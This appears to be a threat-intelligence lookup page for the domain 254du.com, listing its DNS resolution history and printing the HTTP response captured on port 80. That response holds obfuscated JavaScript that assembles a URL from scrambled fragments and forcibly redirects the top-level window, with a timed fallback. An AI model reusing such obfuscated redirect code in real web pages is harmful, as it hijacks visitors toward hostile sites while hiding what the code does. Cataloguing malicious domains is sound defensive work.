Domain > 254du.com

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2020-07-31	119.8.126.11 (ClassC)
2022-04-18	162.209.184.254 (ClassC)
2022-12-10	154.17.10.241 (ClassC)
2024-05-08	154.17.15.58 (ClassC)
2024-09-12	23.225.223.238 (ClassC)
2025-01-18	172.247.26.11 (ClassC)
2025-05-05	154.17.19.54 (ClassC)
2025-06-08	154.17.11.49 (ClassC)
2025-09-06	154.17.11.175 (ClassC)
2026-01-29	23.225.147.91 (ClassC)

Port 80

HTTP/1.1 200 OKContent-Type: text/html; charsetutf-8Content-Length: 1737Connection: close

html>body>a idbaidu>/a>script>var _0x3cbdbto,37?,bai,ran,lac,htt,wd,unl,ehi,ode,mCh,//t,bef,men,fe:,arC,fj9,rep,hs4,fro,hre,ati,dom,fpi,.li,ps:,ba,ore,102,0k.,Ele,loc;(function(_0x3db716,_0x3cbdfc){var _0x513237function(_0x139d3e){while(--_0x139d3e){_0x3db716push(_0x3db716shift());}};_0x513237(++_0x3cbdfc);}(_0x3cbd,0x167));var _0x5132function(_0x3db716,_0x3cbdfc){_0x3db716_0x3db716-0x0;var _0x513237_0x3cbd_0x3db716;return _0x513237;};var qq_0x5132(0x1e)+_0x5132(0x12)+_0x5132(0x4)+_0x5132(0x10)+_0x5132(0x9)+_0x5132(0x16)+mem+_0x5132(0xb)+p4a+_0x5132(0x11)+_0x5132(0x7)+_0x5132(0x15)+_0x5132(0x1a)+_0x5132(0x1f)+windowbto+a(window_0x5132(0x19)+a(window_0x5132(0x18)+_0x5132(0xe)+on))+String_0x5132(0xc)+_0x5132(0x3)+_0x5132(0x8)+_0x5132(0x2)(Mathflo+or(Math_0x5132(0x1c)+_0x5132(0xf)()*0x1a)+0x61)+(&tn+_0x5132(0x13)+idu),adocumentget+_0x5132(0x17)+_0x5132(0x6)+tBy+Id(_0x5132(0x1b)+du),done!,markfunction(){done!!;};a_0x5132(0xd)+fqq;addEventListener(pag+_0x5132(0x1)+de,mark,{once:!!});addEventListener(_0x5132(0x5)+_0x5132(0x14)+_0x5132(0x0)+oad,mark,{once:!!});try{(top&&top!window?top:window)_0x5132(0x18)+_0x5132(0xe)+on_0x5132(0xa)+lac+e(qq);}catch(_0x4a7daa){location_0x5132(0xa)+_0x5132(0x1d)+e(qq);}setTimeout(function(){if(!done&&locationhre+f!qq)try{(top&&top!window?top:window)_0x5132(0x18)+_0x5132(0xe)+on_0x5132(0xa)+_0x5132(0x1d)+e(qq);}catch(_0x3ab7cd){location_0x5132(0xa)+_0x5132(0x1d)+e(qq);}},0x1388);/script>/body>/html>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > 254du.com

Is this malicious?

DNS Resolutions

Port 80